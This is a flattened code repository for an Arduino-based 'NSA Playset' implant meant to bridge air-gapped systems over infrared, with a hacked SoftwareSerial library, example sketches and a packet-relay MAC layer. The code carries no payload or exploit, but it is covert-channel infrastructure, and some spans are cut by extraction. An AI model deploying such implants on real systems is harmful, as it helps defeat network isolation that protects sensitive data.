- 3 | Multi-instance software serial library for Arduino/Wiring 4 | -- Interrupt-driven receive and other improvements by ladyada 5 | (http://ladyada.net) 6 | -- Tuning, circular buffer, derivation from class Print/Stream, 7 | multi-instance support, porting to 8MHz processors, 8 | various optimizations, PROGMEM delay tables, inverse logic and 9 | direct port writing by Mikal Hart (http://www.arduiniana.org) 10 | -- Pin change interrupt macros by Paul Stoffregen (http://www.pjrc.com) 11 | -- 20MHz processor support by Garrett Mace (http://www.macetech.com) 12 | -- ATmega1280/2560 support by Brett Hagman (http://www.roguerobotics.com/) 13 | 14 | This library is free software; you can redistribute it and/or 15 | modify it under the terms of the GNU Lesser General Public 16 | License as published by the Free Software Foundation; either 17 | version 2.1 of the License, or (at your option) any later version. 18 | 19 | This library is distributed in the hope that it will be useful, 20 | but WITHOUT ANY WARRANTY; without even the implied warranty of 21 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU 22 | Lesser General Public License for more details. 23 | 24 | You should have received a copy of the GNU Lesser General Public 25 | License along with this library; if not, write to the Free Software 26 | Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA 27 | 28 | The latest version of this library can always be found at 29 | http://arduiniana.org. 30 | */ 31 | 32 | // When set, _DEBUG co-opts pins 11 and 13 for debugging with an 33 | // oscilloscope or logic analyzer. Beware: it also slightly modifies 34 | // the bit times, so don't rely on it too much at high baud rates 35 | #define _DEBUG 0 36 | #define _DEBUG_PIN1 11 37 | #define _DEBUG_PIN2 13 38 | // 39 | // Includes 40 | // 41 | #include 42 | #include 43 | #include 44 | #include 45 | #include //hacks 46 | // 47 | // Lookup table 48 | // 49 | typedef struct _DELAY_TABLE 50 | { 51 | long baud; 52 | unsigned short rx_delay_centering; 53 | unsigned short rx_delay_intrabit; 54 | unsigned short rx_delay_stopbit; 55 | unsigned short tx_delay; 56 | } DELAY_TABLE; 57 | 58 | #if F_CPU == 16000000 59 | 60 | static const DELAY_TABLE PROGMEM table[] = 61 | { 62 | // baud rxcenter rxintra rxstop tx 63 | { 115200, 1, 17, 17, 12, }, 64 | { 57600, 10, 37, 37, 33, }, 65 | { 38400, 25, 57, 57, 54, }, 66 | { 31250, 31, 70, 70, 68, }, 67 | { 28800, 34, 77, 77, 74, }, 68 | { 19200, 54, 117, 117, 114, }, 69 | { 14400, 74, 156, 156, 153, }, 70 | { 9600, 114, 236, 236, 233, }, 71 | { 4800, 233, 474, 474, 471, }, 72 | { 2400, 471, 950, 950, 947, }, 73 | { 1200, 947, 1902, 1902, 1899, }, 74 | { 600, 1902, 3804, 3804, 3800, }, 75 | { 300, 3804, 7617, 7617, 7614, }, 76 | }; 77 | 78 | const int XMIT_START_ADJUSTMENT = 5; 79 | 80 | #elif F_CPU == 8000000 81 | 82 | static const DELAY_TABLE table[] PROGMEM = 83 | { 84 | // baud rxcenter rxintra rxstop tx 85 | { 115200, 1, 5, 5, 3, }, 86 | { 57600, 1, 15, 15, 13, }, 87 | { 38400, 2, 25, 26, 23, }, 88 | { 31250, 7, 32, 33, 29, }, 89 | { 28800, 11, 35, 35, 32, }, 90 | { 19200, 20, 55, 55, 52, }, 91 | { 14400, 30, 75, 75, 72, }, 92 | { 9600, 50, 114, 114, 112, }, 93 | { 4800, 110, 233, 233, 230, }, 94 | { 2400, 229, 472, 472, 469, }, 95 | { 1200, 467, 948, 948, 945, }, 96 | { 600, 948, 1895, 1895, 1890, }, 97 | { 300, 1895, 3805, 3805, 3802, }, 98 | }; 99 | 100 | const int XMIT_START_ADJUSTMENT = 4; 101 | 102 | #elif F_CPU == 20000000 103 | 104 | // 20MHz support courtesy of the good people at macegr.com. 105 | // Thanks, Garrett! 106 | 107 | static const DELAY_TABLE PROGMEM table[] = 108 | { 109 | // baud rxcenter rxintra rxstop tx 110 | { 115200, 3, 21, 21, 18, }, 111 | { 57600, 20, 43, 43, 41, }, 112 | { 38400, 37, 73, 73, 70, }, 113 | { 31250, 45, 89, 89, 88, }, 114 | { 28800, 46, 98, 98, 95, }, 115 | { 19200, 71, 148, 148, 145, }, 116 | { 14400, 96, 197, 197, 194, }, 117 | { 9600, 146, 297, 297, 294, }, 118 | { 4800, 296, 595, 595, 592, }, 119 | { 2400, 592, 1189, 1189, 1186, }, 120 | { 1200, 1187, 2379, 2379, 2376, }, 121 | { 600, 2379, 4759, 4759, 4755, }, 122 | { 300, 4759, 9523, 9523, 9520, }, 123 | }; 124 | 125 | const int XMIT_START_ADJUSTMENT = 6; 126 | 127 | #else 128 | 129 | #error This version of SoftwareSerial supports only 20, 16 and 8MHz processors 130 | 131 | #endif 132 | 133 | // 134 | // Statics 135 | // 136 | SoftwareSerial *SoftwareSerial::active_object = 0; 137 | char SoftwareSerial::_receive_buffer[_SS_MAX_RX_BUFF]; 138 | volatile uint8_t SoftwareSerial::_receive_buffer_tail = 0; 139 | volatile uint8_t SoftwareSerial::_receive_buffer_head = 0; 140 | 141 | // 142 | // Debugging 143 | // 144 | // This function generates a brief pulse 145 | // for debugging or measuring on an oscilloscope. 146 | inline void DebugPulse(uint8_t pin, uint8_t count) 147 | { 148 | #if _DEBUG 149 | volatile uint8_t *pport = portOutputRegister(digitalPinToPort(pin)); 150 | 151 | uint8_t val = *pport; 152 | while (count--) 153 | { 154 | *pport = val | digitalPinToBitMask(pin); 155 | *pport = val; 156 | } 157 | #endif 158 | } 159 | 160 | // 161 | // Private methods 162 | // 163 | 164 | /* static */ 165 | inline void SoftwareSerial::tunedDelay(uint16_t delay) { 166 | uint8_t tmp=0; 167 | 168 | asm volatile("sbiw %0, 0x01 \n\t" 169 | "ldi %1, 0xFF \n\t" 170 | "cpi %A0, 0xFF \n\t" 171 | "cpc %B0, %1 \n\t" 172 | "brne .-10 \n\t" 173 | : "+r" (delay), "+a" (tmp) 174 | : "0" (delay) 175 | ); 176 | } 177 | 178 | // This function sets the current object as the "listening" 179 | // one and returns true if it replaces another 180 | bool SoftwareSerial::listen() 181 | { 182 | if (active_object != this) 183 | { 184 | _buffer_overflow = false; 185 | uint8_t oldSREG = SREG; 186 | cli(); 187 | _receive_buffer_head = _receive_buffer_tail = 0; 188 | active_object = this; 189 | SREG = oldSREG; 190 | return true; 191 | } 192 | 193 | return false; 194 | } 195 | 196 | // 197 | // The receive routine called by the interrupt handler 198 | // 199 | void SoftwareSerial::recv() 200 | { 201 | 202 | #if GCC_VERSION < 40302 203 | // Work-around for avr-gcc 4.3.0 OSX version bug 204 | // Preserve the registers that the compiler misses 205 | // (courtesy of Arduino forum user *etracer*) 206 | asm volatile( 207 | "push r18 \n\t" 208 | "push r19 \n\t" 209 | "push r20 \n\t" 210 | "push r21 \n\t" 211 | "push r22 \n\t" 212 | "push r23 \n\t" 213 | "push r26 \n\t" 214 | "push r27 \n\t" 215 | ::); 216 | #endif 217 | 218 | uint8_t d = 0; 219 | 220 | // If RX line is high, then we don't see any start bit 221 | // so interrupt is probably not for us 222 | if (_inverse_logic ? rx_pin_read() : !rx_pin_read()) 223 | { 224 | // Wait approximately 1/2 of a bit width to "center" the sample 225 | tunedDelay(_rx_delay_centering); 226 | DebugPulse(_DEBUG_PIN2, 1); 227 | 228 | // Read each of the 8 bits 229 | for (uint8_t i=0x1; i; i <<= 1) 230 | { 231 | tunedDelay(_rx_delay_intrabit); 232 | DebugPulse(_DEBUG_PIN2, 1); 233 | uint8_t noti = ~i; 234 | if (rx_pin_read()) 235 | d |= i; 236 | else // else clause added to ensure function timing is ~balanced 237 | d &= noti; 238 | } 239 | 240 | // skip the stop bit 241 | tunedDelay(_rx_delay_stopbit); 242 | DebugPulse(_DEBUG_PIN2, 1); 243 | 244 | if (_inverse_logic) 245 | d = ~d; 246 | 247 | // if buffer full, set the overflow flag and return 248 | if ((_receive_buffer_tail + 1) % _SS_MAX_RX_BUFF != _receive_buffer_head) 249 | { 250 | // save new data in buffer: tail points to where byte goes 251 | _receive_buffer[_receive_buffer_tail] = d; // save new byte 252 | _receive_buffer_tail = (_receive_buffer_tail + 1) % _SS_MAX_RX_BUFF; 253 | } 254 | else 255 | { 256 | #if _DEBUG // for scope: pulse pin as overflow indictator 257 | DebugPulse(_DEBUG_PIN1, 1); 258 | #endif 259 | _buffer_overflow = true; 260 | } 261 | } 262 | 263 | #if GCC_VERSION < 40302 264 | // Work-around for avr-gcc 4.3.0 OSX version bug 265 | // Restore the registers that the compiler misses 266 | asm volatile( 267 | "pop r27 \n\t" 268 | "pop r26 \n\t" 269 | "pop r23 \n\t" 270 | "pop r22 \n\t" 271 | "pop r21 \n\t" 272 | "pop r20 \n\t" 273 | "pop r19 \n\t" 274 | "pop r18 \n\t" 275 | ::); 276 | #endif 277 | } 278 | 279 | void SoftwareSerial::tx_pin_write(uint8_t pin_state) 280 | { 281 | //hacks 282 | //note that this is inverted from the normal case. Our xmit is 283 | // inverted but our recv is not. 284 | if (pin_state == LOW) { 285 | TIMER_ENABLE_PWM; 286 | } 287 | else { 288 | TIMER_DISABLE_PWM; 289 | } 290 | } 291 | 292 | uint8_t SoftwareSerial::rx_pin_read() 293 | { 294 | return *_receivePortRegister & _receiveBitMask; 295 | } 296 | 297 | // 298 | // Interrupt handling 299 | // 300 | 301 | /* static */ 302 | inline void SoftwareSerial::handle_interrupt() 303 | { 304 | if (active_object) 305 | { 306 | active_object->recv(); 307 | } 308 | } 309 | 310 | #if defined(PCINT0_vect) 311 | ISR(PCINT0_vect) 312 | { 313 | SoftwareSerial::handle_interrupt(); 314 | } 315 | #endif 316 | 317 | #if defined(PCINT1_vect) 318 | ISR(PCINT1_vect) 319 | { 320 | SoftwareSerial::handle_interrupt(); 321 | } 322 | #endif 323 | 324 | #if defined(PCINT2_vect) 325 | ISR(PCINT2_vect) 326 | { 327 | SoftwareSerial::handle_interrupt(); 328 | } 329 | #endif 330 | 331 | #if defined(PCINT3_vect) 332 | ISR(PCINT3_vect) 333 | { 334 | SoftwareSerial::handle_interrupt(); 335 | } 336 | #endif 337 | 338 | // 339 | // Constructor 340 | // 341 | SoftwareSerial::SoftwareSerial(uint8_t receivePin, uint8_t transmitPin, bool inverse_logic /* = false */) : 342 | _rx_delay_centering(0), 343 | _rx_delay_intrabit(0), 344 | _rx_delay_stopbit(0), 345 | _tx_delay(0), 346 | _buffer_overflow(false), 347 | _inverse_logic(inverse_logic) 348 | { 349 | //hacks 350 | //setTX(transmitPin); 351 | enableIROut(38); 352 | 353 | setRX(receivePin); 354 | } 355 | 356 | // 357 | // Destructor 358 | // 359 | SoftwareSerial::~SoftwareSerial() 360 | { 361 | end(); 362 | } 363 | 364 | void SoftwareSerial::setTX(uint8_t tx) 365 | { 366 | pinMode(tx, OUTPUT); 367 | digitalWrite(tx, HIGH); 368 | _transmitBitMask = digitalPinToBitMask(tx); 369 | uint8_t port = digitalPinToPort(tx); 370 | _transmitPortRegister = portOutputRegister(port); 371 | } 372 | 373 | void SoftwareSerial::setRX(uint8_t rx) 374 | { 375 | pinMode(rx, INPUT); 376 | if (!_inverse_logic) 377 | digitalWrite(rx, HIGH); // pullup for normal logic! 378 | _receivePin = rx; 379 | _receiveBitMask = digitalPinToBitMask(rx); 380 | uint8_t port = digitalPinToPort(rx); 381 | _receivePortRegister = portInputRegister(port); 382 | } 383 | 384 | // 385 | // Public methods 386 | // 387 | 388 | void SoftwareSerial::begin(long speed) 389 | { 390 | _rx_delay_centering = _rx_delay_intrabit = _rx_delay_stopbit = _tx_delay = 0; 391 | 392 | for (unsigned i=0; i 36 | #include 37 | 38 | /****************************************************************************** 39 | * Definitions 40 | ******************************************************************************/ 41 | 42 | #define _SS_MAX_RX_BUFF 64 // RX buffer size 43 | #ifndef GCC_VERSION 44 | #define GCC_VERSION (__GNUC__ * 10000 + __GNUC_MINOR__ * 100 + __GNUC_PATCHLEVEL__) 45 | #endif 46 | 47 | class SoftwareSerial : public Stream 48 | { 49 | private: 50 | // per object data 51 | uint8_t _receivePin; 52 | uint8_t _receiveBitMask; 53 | volatile uint8_t *_receivePortRegister; 54 | uint8_t _transmitBitMask; 55 | volatile uint8_t *_transmitPortRegister; 56 | 57 | uint16_t _rx_delay_centering; 58 | uint16_t _rx_delay_intrabit; 59 | uint16_t _rx_delay_stopbit; 60 | uint16_t _tx_delay; 61 | 62 | uint16_t _buffer_overflow:1; 63 | uint16_t _inverse_logic:1; 64 | 65 | // static data 66 | static char _receive_buffer[_SS_MAX_RX_BUFF]; 67 | static volatile uint8_t _receive_buffer_tail; 68 | static volatile uint8_t _receive_buffer_head; 69 | static SoftwareSerial *active_object; 70 | 71 | // private methods 72 | void recv(); 73 | uint8_t rx_pin_read(); 74 | void tx_pin_write(uint8_t pin_state); 75 | void setTX(uint8_t transmitPin); 76 | void setRX(uint8_t receivePin); 77 | 78 | // private static method for timing 79 | static inline void tunedDelay(uint16_t delay); 80 | 81 | public: 82 | // public methods 83 | SoftwareSerial(uint8_t receivePin, uint8_t transmitPin, bool inverse_logic = false); 84 | ~SoftwareSerial(); 85 | void begin(long speed); 86 | bool listen(); 87 | void end(); 88 | bool isListening() { return this == active_object; } 89 | bool overflow() { bool ret = _buffer_overflow; _buffer_overflow = false; return ret; } 90 | int peek(); 91 | 92 | virtual size_t write(uint8_t byte); 93 | virtual int read(); 94 | virtual int available(); 95 | virtual void flush(); 96 | 97 | using Print::write; 98 | 99 | // public only for easy access by interrupt handlers 100 | static inline void handle_interrupt(); 101 | }; 102 | 103 | // Arduino 0012 workaround 104 | #undef int 105 | #undef char 106 | #undef long 107 | #undef byte 108 | #undef float 109 | #undef abs 110 | #undef round 111 | 112 | #endif 113 | -------------------------------------------------------------------------------- /libraries/SoftwareSerial/examples/SoftwareSerialExample/SoftwareSerialExample.ino: -------------------------------------------------------------------------------- 1 | /* 2 | Software serial multple serial test 3 | 4 | Receives from the hardware serial, sends to software serial. 5 | Receives from software serial, sends to hardware serial. 6 | 7 | The circuit: 8 | * RX is digital pin 10 (connect to TX of other device) 9 | * TX is digital pin 11 (connect to RX of other device) 10 | 11 | Note: 12 | Not all pins on the Mega and Mega 2560 support change interrupts, 13 | so only the following can be used for RX: 14 | 10, 11, 12, 13, 50, 51, 52, 53, 62, 63, 64, 65, 66, 67, 68, 69 15 | 16 | Not all pins on the Leonardo support change interrupts, 17 | so only the following can be used for RX: 18 | 8, 9, 10, 11, 14 (MISO), 15 (SCK), 16 (MOSI). 19 | 20 | created back in the mists of time 21 | modified 25 May 2012 22 | by Tom Igoe 23 | based on Mikal Hart's example 24 | 25 | This example code is in the public domain. 26 | 27 | */ 28 | #include 29 | 30 | SoftwareSerial mySerial(10, 11); // RX, TX 31 | 32 | void setup() 33 | { 34 | // Open serial communications and wait for port to open: 35 | Serial.begin(57600); 36 | while (!Serial) { 37 | ; // wait for serial port to connect. Needed for Leonardo only 38 | } 39 | 40 | 41 | Serial.println("Goodnight moon!"); 42 | 43 | // set the data rate for the SoftwareSerial port 44 | mySerial.begin(4800); 45 | mySerial.println("Hello, world?"); 46 | } 47 | 48 | void loop() // run over and over 49 | { 50 | if (mySerial.available()) 51 | Serial.write(mySerial.read()); 52 | if (Serial.available()) 53 | mySerial.write(Serial.read()); 54 | } 55 | 56 | -------------------------------------------------------------------------------- /libraries/SoftwareSerial/examples/TwoPortReceive/TwoPortReceive.ino: -------------------------------------------------------------------------------- 1 | /* 2 | Software serial multple serial test 3 | 4 | Receives from the two software serial ports, 5 | sends to the hardware serial port. 6 | 7 | In order to listen on a software port, you call port.listen(). 8 | When using two software serial ports, you have to switch ports 9 | by listen()ing on each one in turn. Pick a logical time to switch 10 | ports, like the end of an expected transmission, or when the 11 | buffer is empty. This example switches ports when there is nothing 12 | more to read from a port 13 | 14 | The circuit: 15 | Two devices which communicate serially are needed. 16 | * First serial device's TX attached to digital pin 2, RX to pin 3 17 | * Second serial device's TX attached to digital pin 4, RX to pin 5 18 | 19 | Note: 20 | Not all pins on the Mega and Mega 2560 support change interrupts, 21 | so only the following can be used for RX: 22 | 10, 11, 12, 13, 50, 51, 52, 53, 62, 63, 64, 65, 66, 67, 68, 69 23 | 24 | Not all pins on the Leonardo support change interrupts, 25 | so only the following can be used for RX: 26 | 8, 9, 10, 11, 14 (MISO), 15 (SCK), 16 (MOSI). 27 | 28 | created 18 Apr. 2011 29 | modified 25 May 2012 30 | by Tom Igoe 31 | based on Mikal Hart's twoPortRXExample 32 | 33 | This example code is in the public domain. 34 | 35 | */ 36 | 37 | #include 38 | // software serial #1: TX = digital pin 10, RX = digital pin 11 39 | SoftwareSerial portOne(10,11); 40 | 41 | // software serial #2: TX = digital pin 8, RX = digital pin 9 42 | // on the Mega, use other pins instead, since 8 and 9 don't work on the Mega 43 | SoftwareSerial portTwo(8,9); 44 | 45 | void setup() 46 | { 47 | // Open serial communications and wait for port to open: 48 | Serial.begin(9600); 49 | while (!Serial) { 50 | ; // wait for serial port to connect. Needed for Leonardo only 51 | } 52 | 53 | 54 | // Start each software serial port 55 | portOne.begin(9600); 56 | portTwo.begin(9600); 57 | } 58 | 59 | void loop() 60 | { 61 | // By default, the last intialized port is listening. 62 | // when you want to listen on a port, explicitly select it: 63 | portOne.listen(); 64 | Serial.println("Data from port one:"); 65 | // while there is data coming in, read it 66 | // and send to the hardware serial port: 67 | while (portOne.available() > 0) { 68 | char inByte = portOne.read(); 69 | Serial.write(inByte); 70 | } 71 | 72 | // blank line to separate data from the two ports: 73 | Serial.println(); 74 | 75 | // Now listen on the second port 76 | portTwo.listen(); 77 | // while there is data coming in, read it 78 | // and send to the hardware serial port: 79 | Serial.println("Data from port two:"); 80 | while (portTwo.available() > 0) { 81 | char inByte = portTwo.read(); 82 | Serial.write(inByte); 83 | } 84 | 85 | // blank line to separate data from the two ports: 86 | Serial.println(); 87 | } 88 | 89 | 90 | 91 | 92 | 93 | 94 | -------------------------------------------------------------------------------- /libraries/SoftwareSerial/keywords.txt: -------------------------------------------------------------------------------- 1 | ####################################### 2 | # Syntax Coloring Map for NewSoftSerial 3 | ####################################### 4 | 5 | ####################################### 6 | # Datatypes (KEYWORD1) 7 | ####################################### 8 | 9 | NewSoftSerial KEYWORD1 10 | 11 | ####################################### 12 | # Methods and Functions (KEYWORD2) 13 | ####################################### 14 | 15 | begin KEYWORD2 16 | end KEYWORD2 17 | read KEYWORD2 18 | available KEYWORD2 19 | isListening KEYWORD2 20 | overflow KEYWORD2 21 | flush KEYWORD2 22 | listen KEYWORD2 23 | 24 | ####################################### 25 | # Constants (LITERAL1) 26 | ####################################### 27 | 28 | -------------------------------------------------------------------------------- /mac.cpp: -------------------------------------------------------------------------------- 1 | /* 2 | * BLINKERCOUGH: NSA Playset implant for IR bridging of airgap 3 | * 4 | * Copyright (C) 2015 Hacker, J.R. 5 | * 6 | * This library is free software; you can redistribute it and/or 7 | * modify it under the terms of the GNU Lesser General Public 8 | * License as published by the Free Software Foundation; either 9 | * version 2.1 of the License, or (at your option) any later version. 10 | * 11 | * This library is distributed in the hope that it will be useful, 12 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 13 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU 14 | * Lesser General Public License for more details. 15 | * 16 | * You should have received a copy of the GNU Lesser General Public 17 | * License along with this library; if not, write to the Free Software 18 | * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA 19 | */ 20 | 21 | #include "mac.h" 22 | #include "util.h" 23 | #include 24 | 25 | BlinkerMac mac; 26 | MemberFunctionCallable MACRelayCB(&mac, &BlinkerMac::relayCallback); 27 | 28 | BlinkerMac::BlinkerMac() : serial(SoftwareSerial(IR_RX_PIN, IR_TX_PIN, false)) 29 | { 30 | } 31 | 32 | void BlinkerMac::begin() 33 | { 34 | serial.begin(IR_BAUD); 35 | reset(); 36 | buf = FrameFactory.alloc(); 37 | eventManager.addListener(BlinkerMac::PacketNeedsRelayEvent, 38 | &MACRelayCB); 39 | } 40 | 41 | void BlinkerMac::reset() 42 | { 43 | rx_blink = false; 44 | packet_in_progress = false; 45 | buf_pos = 0; 46 | prefix_state = 0; 47 | reset_codec_state(); 48 | } 49 | 50 | void BlinkerMac::write_prefix() 51 | { 52 | for (uint8_t i = 0; i < preamble_count; i++) { 53 | (*this)(preamble_byte); 54 | } 55 | for (uint8_t i = 0; i < sizeof(packet_prefix); i++) { 56 | (*this)(packet_prefix[i]); 57 | } 58 | } 59 | 60 | bool BlinkerMac::prefix_hit(uint8_t input) 61 | { 62 | if (prefix_state == 0) { 63 | if (input == packet_prefix[0]) { 64 | prefix_state = 1; 65 | } 66 | } else if (prefix_state == 1) { 67 | if (input == packet_prefix[1]) { 68 | prefix_state = 2; 69 | } else { 70 | prefix_state = 0; 71 | } 72 | } else if (prefix_state == 2) { 73 | if (input == packet_prefix[2]) { 74 | prefix_state = 3; 75 | } else { 76 | prefix_state = 0; 77 | } 78 | } else if (prefix_state == 3) { 79 | prefix_state = 0; 80 | if (input == packet_prefix[3]) { 81 | return true; 82 | } 83 | } 84 | return false; 85 | } 86 | 87 | bool BlinkerMac::blink() 88 | { 89 | rx_blink = rx_blink ? false : true; 90 | return rx_blink; 91 | } 92 | 93 | bool BlinkerMac::stalled() 94 | { 95 | const unsigned long now = millis(); 96 | 97 | if (now - last_rx_time > 250) { 98 | return true; 99 | } 100 | last_rx_time = now; 101 | return false; 102 | } 103 | 104 | //expectation here is that hton is done 105 | //and crc is calculated 106 | void BlinkerMac::send_frame(IRFrame &frame) 107 | { 108 | debug("Sending packet"); 109 | 110 | write_prefix(); 111 | for (uint16_t i = 0; i < sizeof(IRFrame); i++) { 112 | encode_byte(frame.blob()[i], *this); 113 | } 114 | serial.flush(); 115 | 116 | // while this is happening, you'll get crap that is your own packet. 117 | // clear out any remaining input 118 | while(serial.available()) { 119 | (void)serial.read(); 120 | delay(1); 121 | } 122 | } 123 | 124 | void BlinkerMac::recv(const uint8_t c) 125 | { 126 | digitalWrite(13, blink()); 127 | 128 | // if you haven't gotten a byte in a while, then what you have 129 | // is probably garbage. 130 | if (packet_in_progress && stalled()) { 131 | debug("aborting rcv"); 132 | IRFrame::hexdump(buf); 133 | reset(); 134 | return; 135 | } 136 | if (!packet_in_progress) { 137 | packet_in_progress = prefix_hit(c); 138 | last_rx_time = millis(); 139 | return; //the next byte should be the first byte of a packet 140 | } 141 | 142 | debugstart("%d", buf_pos); 143 | debugcont(" "); 144 | //geting a packet 145 | uint8_t input; 146 | if (decode_byte(c, input)) { 147 | buf->blob()[buf_pos] = input; 148 | buf_pos++; 149 | } else { 150 | return; // was a stuffed byte 151 | } 152 | 153 | if (buf_pos >= sizeof(IRFrame)) { 154 | //whole packet recieved! 155 | buf_pos = 0; 156 | packet_in_progress = false; 157 | 158 | if (buf->valid()) { 159 | buf->ntoh(); 160 | 161 | if (buf->source == address) { 162 | // don't relay our own packets 163 | debugend(); 164 | reset(); 165 | return; 166 | } 167 | 168 | if (buf->destination != address) { 169 | if (buf->hops < MAX_HOPS) { 170 | auto newbuf = FrameFactory.alloc(); 171 | IRFrame::copy(newbuf, buf); 172 | eventManager.queueEvent(PacketNeedsRelayEvent, (int)newbuf); 173 | debugend(); 174 | reset(); 175 | return; 176 | } else { 177 | debugcont("too many hops.. eating"); 178 | debugend(); 179 | reset(); 180 | return; 181 | } 182 | } 183 | 184 | auto newbuf = FrameFactory.alloc(); 185 | IRFrame::copy(newbuf, buf); 186 | eventManager.queueEvent(ValidFrameRecievedEvent, (int)newbuf); 187 | debugend(); 188 | reset(); 189 | return; 190 | } else { 191 | auto newbuf = FrameFactory.alloc(); 192 | IRFrame::copy(newbuf, buf); 193 | eventManager.queueEvent(InvalidFrameRecievedEvent, (int)newbuf); 194 | debugend(); 195 | reset(); 196 | } 197 | } 198 | return; 199 | } 200 | 201 | void BlinkerMac::relayCallback(int event, int param) 202 | { 203 | //niave approach.. just send it back out this is kind of wrong we 204 | //should wait a random time before retransmit and as we get 205 | //packets, we should cancel retransmit if we saw a neighbor do it 206 | //first. but when we see that neighbor do it, we schedule a new 207 | //one to retransmit. 208 | 209 | IRFrame *buf = (IRFrame*)param; 210 | debug("Packet from 0x%04x to 0x%04x hop %d", 211 | buf->source, buf->destination, 212 | buf->hops); 213 | 214 | buf->hops++; 215 | buf->hton(); 216 | buf->calculate_crc(); 217 | debug("Retransmitting packet..."); 218 | send_frame(*buf); 219 | debug("done"); 220 | reset(); 221 | 222 | FrameFactory.free(buf); 223 | } 224 | 225 | 226 | /* 227 | * Editor modelines - https://www.wireshark.org/tools/modelines.html 228 | * 229 | * Local variables: 230 | * mode: c++ 231 | * c-basic-offset: 4 232 | * tab-width: 8 233 | * indent-tabs-mode: nil 234 | * End: 235 | * 236 | * vi: set shiftwidth=4 tabstop=8 expandtab: 237 | * :indentSize=4:tabSize=8:noTabs=true: 238 | */ 239 | -------------------------------------------------------------------------------- /mac.h: -------------------------------------------------------------------------------- 1 | /* 2 | * BLINKERCOUGH: NSA Playset implant for IR bridging of airgap 3 | * 4 | * Copyright (C) 2015 Hacker, J.R. 5 | * 6 | * This library is free software; you can redistribute it and/or 7 | * modify it under the terms of the GNU Lesser General Public 8 | * License as published by the Free Software Foundation; either 9 | * version 2.1 of the License, or (at your option) any later version. 10 | * 11 | * This library is distributed in the hope that it will be useful, 12 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 13 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU 14 | * Lesser General Public License for more details. 15 | * 16 | * You should have received a copy of the GNU Lesser General Public 17 | * License along with this library; if not, write to the Free Software 18 | * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA 19 | */ 20 | 21 | #ifndef _MAC_H 22 | #define _MAC_H 23 | 24 | #include "irframe.h" 25 | #include "codec.h" 26 | #include 27 | #include 28 | #include 29 | 30 | extern EventManager eventManager; 31 | 32 | #define IR_RX_PIN A3 33 | #define IR_TX_PIN A2 /* this is actually not really used */ 34 | #define IR_BAUD 4800 35 | 36 | /* notes about encoding: 37 | * 38 | * byte stuffing doesn't appear to really work 39 | * 40 | * 0x80 transmits fine 41 | * 0x01 does not 42 | */ 43 | class BlinkerMac : public ByteStuffCodec, public Writer 44 | { 45 | public: 46 | BlinkerMac(); 47 | void operator() (const uint8_t input) 48 | { 49 | serial.write(&input, 1); 50 | } 51 | 52 | void begin(); //to be called in setup() 53 | 54 | //YOU MUST HANDLE FRAME RECIEVED EVENTS 55 | //IF YOU DO NOT, MEMORY LEAKS 56 | enum Events { 57 | //for frame recv'd events, param is the frame pointer 58 | //the handler is responsible for freeing with FrameFactory.free() 59 | ValidFrameRecievedEvent = 400, 60 | InvalidFrameRecievedEvent, 61 | PacketNeedsRelayEvent, 62 | }; 63 | SoftwareSerial serial; 64 | 65 | private: 66 | bool rx_blink; 67 | uint16_t buf_pos; 68 | bool packet_in_progress; 69 | uint8_t prefix_state; 70 | unsigned long last_rx_time; 71 | IRFrame* buf; 72 | uint16_t address; 73 | 74 | uint16_t baud; 75 | bool invert; 76 | 77 | const uint8_t packet_prefix[4] = { 0xDE, 0xAD, 0xBE, 0xEF }; 78 | const uint8_t preamble_byte = 0xA; 79 | const uint8_t preamble_count = 8; 80 | const uint8_t modulation_khz = 38; 81 | 82 | void write_prefix(); 83 | bool prefix_hit(uint8_t c); 84 | bool blink(); 85 | bool stalled(); 86 | 87 | public: 88 | inline void set_address(uint16_t _address) 89 | { 90 | address = _address; 91 | } 92 | 93 | inline uint16_t get_address() const 94 | { 95 | return address; 96 | } 97 | 98 | inline void set_baud_invert(uint16_t _baud, bool _invert) 99 | { 100 | baud = _baud; 101 | invert = invert; 102 | } 103 | 104 | void reset(); 105 | void send_frame(IRFrame &frame); 106 | 107 | // fires recv'd events 108 | void recv(const uint8_t input); 109 | 110 | void relayCallback(int event, int param); 111 | }; 112 | 113 | extern BlinkerMac mac; 114 | extern MemberFunctionCallable RXRelayCB; 115 | 116 | #endif /* _RX_H */ 117 | /* 118 | * Editor modelines - https://www.wireshark.org/tools/modelines.html 119 | * 120 | * Local variables: 121 | * mode: c++ 122 | * c-basic-offset: 4 123 | * tab-width: 8 124 | * indent-tabs-mode: nil 125 | * End: 126 | * 127 | * vi: set shiftwidth=4 tabstop=8 expandtab: 128 | * :indentSize=4:tabSize=8:noTabs=true: 129 | */ 130 | -------------------------------------------------------------------------------- /run: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | PORT2=/dev/ttyUSB1 4 | make && \ 5 | make upload && \ 6 | MONITOR_PORT=$PORT2 make upload && \ 7 | make monitor && \ 8 | MONITOR_PORT=$PORT2 make monitor 9 | -------------------------------------------------------------------------------- /util.cpp: -------------------------------------------------------------------------------- 1 | /* 2 | * BLINKERCOUGH: NSA Playset implant for IR bridging of airgap 3 | * 4 | * Copyright (C) 2015 Hacker, J.R. 5 | * 6 | * This library is free software; you can redistribute it and/or 7 | * modify it under the terms of the GNU Lesser General Public 8 | * License as published by the Free Software Foundation; either 9 | * version 2.1 of the License, or (at your option) any later version. 10 | * 11 | * This library is distributed in the hope that it will be useful, 12 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 13 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU 14 | * Lesser General Public License for more details. 15 | * 16 | * You should have received a copy of the GNU Lesser General Public 17 | * License along with this library; if not, write to the Free Software 18 | * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA 19 | */ 20 | 21 | #include "util.h" 22 | 23 | #include 24 | 25 | static int uart_putchar(char c, FILE *unused) 26 | { 27 | if (c == '\n') { 28 | Serial.println(); 29 | } else { 30 | Serial.write(c); 31 | } 32 | return 1; 33 | } 34 | 35 | static int uart_getchar(FILE *unused) 36 | { 37 | return Serial.read(); 